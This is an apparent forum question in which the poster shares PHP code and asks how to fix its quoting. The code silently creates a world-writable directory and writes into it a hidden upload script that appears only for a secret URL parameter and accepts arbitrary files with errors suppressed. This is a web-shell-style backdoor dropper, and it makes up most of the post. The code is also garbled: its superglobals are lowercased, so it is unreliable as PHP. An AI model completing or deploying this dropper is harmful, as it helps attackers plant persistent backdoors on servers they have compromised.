creating a directory and a file using another php file (single and double quotes ) -
so made php script,i want make dir , make file inside dir , fill php code,the problem quotes,check out this:
<?php @mkdir('kendo',0777); $f1 = @fopen ('kendo/up.php','w'); $f2 = ' <?php error_reporting(0); $system = $_get['km']; if($system == 'up'){ $temp = $_files['file']['tmp_name']; $nan = $_files['file']['name']; echo "<form method='post' enctype='multipart/form-data'> <input type='file'name='file' /> <input type='submit' value='upload' /> </form>"; move_uploaded_file($temp,$nan); } ?> '; @fwrite($f1 , $f2); ?>
i want make dir called kendo ok? , inside dir want make php file simple upload script,the thing quotes ruins code,the second variable :
$f2 = ' <?php error_reporting(0); $system = $_get['km']; if($system == 'up'){ $temp = $_files['file']['tmp_name']; $nan = $_files['file']['name']; echo "<form method='post' enctype='multipart/form-data'> <input type='file'name='file' /> <input type='submit' value='upload' /> </form>"; move_uploaded_file($temp,$nan); } ?> ';
starts single quote , php file want create contains single quotes , double quotes i'll error,anyway filter this?
Comments
Post a Comment